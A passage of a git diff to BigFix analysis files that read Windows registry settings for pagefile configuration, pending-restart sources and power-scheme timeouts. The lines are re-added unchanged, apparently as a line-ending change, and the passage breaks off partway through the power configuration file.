+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Pagefile - Windows</Title>
+    <Description><![CDATA[<P>Covers Pagefile configuration for Windows </P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>NOT in proxy agent context</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Pagefile - Location and Size - Windows" EvaluationPeriod="P1D">(preceding text of first &quot; &quot; of it | it, preceding text of first &quot; &quot; of following text of first &quot; &quot; of it | &quot;Default&quot;, following text of first &quot; &quot; of following text of first &quot; &quot; of it | &quot;Default&quot;) of (substrings separated by &quot;%00&quot; whose (it != &quot;&quot;) of (value &quot;PagingFiles&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management&quot; of native registry as string))</Property>
+    <Property ID="2" Name="Pagefile - Clear on Shutdown - Windows" EvaluationPeriod="P1D">if (value &quot;ClearPageFileAtShutdown&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management&quot; of native registry as string = &quot;0&quot;) then &quot;Disabled&quot; else &quot;Enabled&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Pending Restart - Windows (2998394).bes b/Sites/Windows Management/Fixlets/Analyses/Pending Restart - Windows (2998394).bes
index 8f2a2c060..f6782ae2f 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Pending Restart - Windows (2998394).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Pending Restart - Windows (2998394).bes	
@@ -1,26 +1,26 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Pending Restart - Windows
-  ID       : 2998394
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-09-13T16:48:54
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Pending Restart - Windows</Title>
-    <Description><![CDATA[<P>Provides information on the various sources that the BigFix Agent uses when assessing whether a Windows computer has a pending restart.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>pending restart</Relevance>
-    <Relevance>windows of operating system</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Pending Restart - File Rename Operations - Windows" EvaluationPeriod="P1D">substrings separated by &quot;%00&quot; whose (it != &quot;&quot;) of (values &quot;PendingFileRenameOperations&quot; of keys &quot;HKLM\System\CurrentControlSet\Control\Session Manager&quot; of native registry as string)</Property>
-    <Property ID="2" Name="Pending Restart - Windows Updates - Windows" EvaluationPeriod="P1D">names of values of keys &quot;HKLM\Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired&quot; of native registry</Property>
-    <Property ID="3" Name="Pending Restart - Component Based Servicing - Windows" EvaluationPeriod="P1D">exists key &quot;HKLM\Software\Microsoft\Windows\CurrentVersion\Component Based Servicing\RebootPending&quot; of native registry</Property>
-    <Property ID="4" Name="Pending Restart - Volatile Update Executable - Windows" EvaluationPeriod="P1D">values &quot;Flags&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Updates\UpdateExeVolatile&quot; of native registry </Property>
-    <Property ID="5" Name="Pending Restart - BigFix Action - Windows" EvaluationPeriod="P1D">values whose (it != &quot;&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\BESPendingRestart&quot; of x32 registry</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Pending Restart - Windows
+  ID       : 2998394
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-13T16:48:54
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Pending Restart - Windows</Title>
+    <Description><![CDATA[<P>Provides information on the various sources that the BigFix Agent uses when assessing whether a Windows computer has a pending restart.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>pending restart</Relevance>
+    <Relevance>windows of operating system</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Pending Restart - File Rename Operations - Windows" EvaluationPeriod="P1D">substrings separated by &quot;%00&quot; whose (it != &quot;&quot;) of (values &quot;PendingFileRenameOperations&quot; of keys &quot;HKLM\System\CurrentControlSet\Control\Session Manager&quot; of native registry as string)</Property>
+    <Property ID="2" Name="Pending Restart - Windows Updates - Windows" EvaluationPeriod="P1D">names of values of keys &quot;HKLM\Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired&quot; of native registry</Property>
+    <Property ID="3" Name="Pending Restart - Component Based Servicing - Windows" EvaluationPeriod="P1D">exists key &quot;HKLM\Software\Microsoft\Windows\CurrentVersion\Component Based Servicing\RebootPending&quot; of native registry</Property>
+    <Property ID="4" Name="Pending Restart - Volatile Update Executable - Windows" EvaluationPeriod="P1D">values &quot;Flags&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Updates\UpdateExeVolatile&quot; of native registry </Property>
+    <Property ID="5" Name="Pending Restart - BigFix Action - Windows" EvaluationPeriod="P1D">values whose (it != &quot;&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\BESPendingRestart&quot; of x32 registry</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Power - Configuration - Windows (2998419).bes b/Sites/Windows Management/Fixlets/Analyses/Power - Configuration - Windows (2998419).bes
index e6f8d8a5a..06f75b241 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Power - Configuration - Windows (2998419).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Power - Configuration - Windows (2998419).bes	
@@ -1,29 +1,29 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Power - Configuration - Windows
-  ID       : 2998419
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-09-24T23:23:24
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Power - Configuration - Windows</Title>
-    <Description><![CDATA[Information regarding the current power policy.
-<P>For general information or to report issues with C3 Power Management content please visit GitHub here: <A href="https://github.com/strawgate/C3-Power-Management">https://github.com/strawgate/C3-Power-Management</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>NOT in proxy agent context</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Power - Active Policy - Windows" EvaluationPeriod="PT1H">(following text of last &quot;,&quot; of preceding text of first &quot;%00&quot; of it | preceding text of first &quot;%00&quot; of it) of  (it as string) of value &quot;FriendlyName&quot; of key ((it as string) of (value &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings&quot; of native registry | value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry)) of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry</Property>
-    <Property ID="2" Name="Power - Defined Policies - Windows" EvaluationPeriod="P1D">(following text of last &quot;,&quot; of preceding text of first &quot;%00&quot; of it | preceding text of first &quot;%00&quot; of it) of (it as string) of values &quot;FriendlyName&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry</Property>
-    <Property ID="3" Name="Power - Lid Close Action on AC - Windows" EvaluationPeriod="P1D">preceding texts of firsts &quot;%00&quot; of following texts of lasts &quot;,&quot; of  (/* Group Policy Comes First */ (value &quot;ACSettingIndex&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings\5ca83367-6e45-459f-a27b-476b1d01c936&quot; of native registry as string) | /* Next comes Power Scheme  Customizations */ (value &quot;AcSettingIndex&quot; of keys &quot;4f971e89-eebd-4455-a8de-9e59040e7347\5ca83367-6e45-459f-a27b-476b1d01c936&quot; of keys ((it as string) of (value &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings&quot; of native registry | value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry)) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry as string) | /* Then Power Scheme Defaults */ (value &quot;AcSettingIndex&quot; of (keys ((it as string) of (value &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings&quot; of native registry | value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry)) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\4f971e89-eebd-4455-a8de-9e59040e7347\5ca83367-6e45-459f-a27b-476b1d01c936\DefaultPowerSchemeValues&quot; of native registry) as string))</Property>
-    <Property ID="4" Name="Power - Lid Close Action on DC - Windows" EvaluationPeriod="P1D">preceding texts of firsts &quot;%00&quot; of following texts of lasts &quot;,&quot; of  (/* Group Policy Comes First */ (value &quot;DCSettingIndex&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings\5ca83367-6e45-459f-a27b-476b1d01c936&quot; of native registry as string) | /* Next comes Power Scheme  Customizations */ (value &quot;DCSettingIndex&quot; of keys &quot;4f971e89-eebd-4455-a8de-9e59040e7347\5ca83367-6e45-459f-a27b-476b1d01c936&quot; of keys ((it as string) of (value &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings&quot; of native registry | value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry)) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry as string) | /* Then Power Scheme Defaults */ (value &quot;DCSettingIndex&quot; of (keys ((it as string) of (value &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings&quot; of native registry | value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry)) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\4f971e89-eebd-4455-a8de-9e59040e7347\5ca83367-6e45-459f-a27b-476b1d01c936\DefaultPowerSchemeValues&quot; of native registry) as string))</Property>
-    <Property ID="5" Name="Power - Hard Disk Timeout on AC - Windows" EvaluationPeriod="P1D">/* Group Policy Comes First */ (value &quot;ACSettingIndex&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings\6738e2c4-e8a5-4a42-b16a-e040e769756e&quot; of native registry as string) | /* Next comes Power Scheme  Customizations */ (value &quot;AcSettingIndex&quot; of keys &quot;0012ee47-9041-4b5d-9b77-535fba8b1442\6738e2c4-e8a5-4a42-b16a-e040e769756e&quot; of keys ((it as string) of (value &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings&quot; of native registry | value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry)) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry as string) | /* Then Power Scheme Defaults */ (value &quot;AcSettingIndex&quot; of (keys ((it as string) of (value &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings&quot; of native registry | value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry)) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\0012ee47-9041-4b5d-9b77-535fba8b1442\6738e2c4-e8a5-4a42-b16a-e040e769756e\DefaultPowerSchemeValues&quot; of native registry) as string) |  /* Default to 0 */ &quot;0&quot; </Property>
-    <Property ID="6" Name="Power - Hard Disk Timeout on DC - Windows" EvaluationPeriod="P1D">/* Group Policy Comes First */ (value &quot;DCSettingIndex&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings\6738e2c4-e8a5-4a42-b16a-e040e769756e&quot; of native registry as string) | /* Next comes Power Scheme  Customizations */ (value &quot;DCSettingIndex&quot; of keys &quot;0012ee47-9041-4b5d-9b77-535fba8b1442\6738e2c4-e8a5-4a42-b16a-e040e769756e&quot; of keys ((it as string) of (value &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings&quot; of native registry | value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry)) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry as string) | /* Then Power Scheme Defaults */ (value &quot;DCSettingIndex&quot; of (keys ((it as string) of (value &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings&quot; of native registry | value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry)) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\0012ee47-9041-4b5d-9b77-535fba8b1442\6738e2c4-e8a5-4a42-b16a-e040e769756e\DefaultPowerSchemeValues&quot; of native registry) as string) |  /* Default to 0 */ &quot;0&quot;</Property>
-    <Property ID="7" Name="Power - Standby Timeout on AC - Windows" EvaluationPeriod="P1D">/* Group Policy Comes First */ (value &quot;ACSettingIndex&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings\29f6c1db-86da-48c5-9fdb-f2b67b1f44da&quot; of native registry as string) | /* Next comes Power Scheme  Customizations */ (value &quot;AcSettingIndex&quot; of keys &quot;238C9FA8-0AAD-41ED-83F4-97BE242C8F20\29f6c1db-86da-48c5-9fdb-f2b67b1f44da&quot; of keys ((it as string) of (value &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings&quot; of native registry | value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry)) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry as string) | /* Then Power Scheme Defaults */ (value &quot;AcSettingIndex&quot; of (keys ((it as string) of (value &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings&quot; of native registry | value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry)) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\29f6c1db-86da-48c5-9fdb-f2b67b1f44da\DefaultPowerSchemeValues&quot; of native registry) as string) |  /* Default to 0 */ &quot;0&quot;  </Property>
-    <Property ID="8" Name="Power - Standby Timeout on DC - Windows" EvaluationPeriod="P1D">/* Group Policy Comes First */ (value &quot;DCSettingIndex&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings\29f6c1db-86da-48c5-9fdb-f2b67b1f44da&quot; of native registry as string) | /* Next comes Power Scheme  Customizations */ (value &quot;DCSettingIndex&quot; of keys &quot;238C9FA8-0AAD-41ED-83F4-97BE242C8F20\29f6c1db-86da-48c5-9fdb-f2b67b1f44da&quot; of keys ((it as string) of (value &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings&quot; of native registry | value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry)) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry as string) | /* Then Power Scheme Defaults */ (value &quot;DCSettingIndex&quot; of (keys ((it as string) of (value &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings&quot; of native registry | value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry)) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\29f6c1db-86da-48c5-9fdb-f2b67b1f44da\DefaultPowerSchemeValues&quot; of native registry) as string) |  /* Default to 0 */ &quot;0&quot; </Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Power - Configuration - Windows
+  ID       : 2998419
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-24T23:23:24
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Power - Configuration - Windows</Title>
+    <Description><![CDATA[Information regarding the current power policy.
+<P>For general information or to report issues with C3 Power Management content please visit GitHub here: <A href="https://github.com/strawgate/C3-Power-Management">https://github.com/strawgate/C3-Power-Management</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>NOT in proxy agent context</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Power - Active Policy - Windows" EvaluationPeriod="PT1H">(following text of last &quot;,&quot; of preceding text of first &quot;%00&quot; of it | preceding text of first &quot;%00&quot; of it) of  (it as string) of value &quot;FriendlyName&quot; of key ((it as string) of (value &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings&quot; of native registry | value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry)) of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry</Property>
+    <Property ID="2" Name="Power - Defined Policies - Windows" EvaluationPeriod="P1D">(following text of last &quot;,&quot; of preceding text of first &quot;%00&quot; of it | preceding text of first &quot;%00&quot; of it) of (it as string) of values &quot;FriendlyName&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry</Property>
+    <Property ID="3" Name="Power - Lid Close Action on AC - Windows" EvaluationPeriod="P1D">preceding texts of firsts &quot;%00&quot; of following texts of lasts &quot;,&quot; of  (/* Group Policy Comes First */ (value &quot;ACSettingIndex&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings\5ca83367-6e45-459f-a27b-476b1d01c936&quot; of native registry as string) | /* Next comes Power Scheme  Customizations */ (value &quot;AcSettingIndex&quot; of keys &quot;4f971e89-eebd-4455-a8de-9e59040e7347\5ca83367-6e45-459f-a27b-476b1d01c936&quot; of keys ((it as string) of (value &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings&quot; of native registry | value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry)) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry as string) | /* Then Power Scheme Defaults */ (value &quot;AcSettingIndex&quot; of (keys ((it as string) of (value &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings&quot; of native registry | value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry)) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\4f971e89-eebd-4455-a8de-9e59040e7347\5ca83367-6e45-459f-a27b-476b1d01c936\DefaultPowerSchemeValues&quot; of native registry) as string))</Property>
+    <Property ID="4" Name="Power - Lid Close Action on DC - Windows" EvaluationPeriod="P1D">preceding texts of firsts &quot;%00&quot; of following texts of lasts &quot;,&quot; of  (/* Group Policy Comes First */ (value &quot;DCSettingIndex&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings\5ca83367-6e45-459f-a27b-476b1d01c936&quot; of native registry as string) | /* Next comes Power Scheme  Customizations */ (value &quot;DCSettingIndex&quot; of keys &quot;4f971e89-eebd-4455-a8de-9e59040e7347\5ca83367-6e45-459f-a27b-476b1d01c936&quot; of keys ((it as string) of (value &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings&quot; of native registry | value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry)) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry as string) | /* Then Power Scheme Defaults */ (value &quot;DCSettingIndex&quot; of (keys ((it as string) of (value &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings&quot; of native registry | value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry)) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\4f971e89-eebd-4455-a8de-9e59040e7347\5ca83367-6e45-459f-a27b-476b1d01c936\DefaultPowerSchemeValues&quot; of native registry) as string))</Property>
+    <Property ID="5" Name="Power - Hard Disk Timeout on AC - Windows" EvaluationPeriod="P1D">/* Group Policy Comes First */ (value &quot;ACSettingIndex&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings\6738e2c4-e8a5-4a42-b16a-e040e769756e&quot; of native registry as string) | /* Next comes Power Scheme  Customizations */ (value &quot;AcSettingIndex&quot; of keys &quot;0012ee47-9041-4b5d-9b77-535fba8b1442\6738e2c4-e8a5-4a42-b16a-e040e769756e&quot; of keys ((it as string) of (value &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings&quot; of native registry | value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry)) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry as string) | /* Then Power Scheme Defaults */ (value &quot;AcSettingIndex&quot; of (keys ((it as string) of (value &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings&quot; of native registry | value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry)) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\0012ee47-9041-4b5d-9b77-535fba8b1442\6738e2c4-e8a5-4a42-b16a-e040e769756e\DefaultPowerSchemeValues&quot; of native registry) as string) |  /* Default to 0 */ &quot;0&quot; </Property>
+    <Property ID="6" Name="Power - Hard Disk Timeout on DC - Windows" EvaluationPeriod="P1D">/* Group Policy Comes First */ (value &quot;DCSettingIndex&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings\6738e2c4-e8a5-4a42-b16a-e040e769756e&quot; of native registry as string) | /* Next comes Power Scheme  Customizations */ (value &quot;DCSettingIndex&quot; of keys &quot;0012ee47-9041-4b5d-9b77-535fba8b1442\6738e2c4-e8a5-4a42-b16a-e040e769756e&quot; of keys ((it as string) of (value &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings&quot; of native registry | value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry)) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry as string) | /* Then Power Scheme Defaults */ (value &quot;DCSettingIndex&quot; of (keys ((it as string) of (value &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings&quot; of native registry | value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry)) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\0012ee47-9041-4b5d-9b77-535fba8b1442\6738e2c4-e8a5-4a42-b16a-e040e769756e\DefaultPowerSchemeValues&quot; of native registry) as string) |  /* Default to 0 */ &quot;0&quot;</Property>
+    <Property ID="7" Name="Power - Standby Timeout on AC - Windows" EvaluationPeriod="P1D">/* Group Policy Comes First */ (value &quot;ACSettingIndex&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings\29f6c1db-86da-48c5-9fdb-f2b67b1f44da&quot; of native registry as string) | /* Next comes Power Scheme  Customizations */ (value &quot;AcSettingIndex&quot; of keys &quot;238C9FA8-0AAD-41ED-83F4-97BE242C8F20\29f6c1db-86da-48c5-9fdb-f2b67b1f44da&quot; of keys ((it as string) of (value &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings&quot; of native registry | value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry)) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry as string) | /* Then Power Scheme Defaults */ (value &quot;AcSettingIndex&quot; of (keys ((it as string) of (value &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings&quot; of native registry | value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry)) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\29f6c1db-86da-48c5-9fdb-f2b67b1f44da\DefaultPowerSchemeValues&quot; of native registry) as string) |  /* Default to 0 */ &quot;0&quot;  </Property>
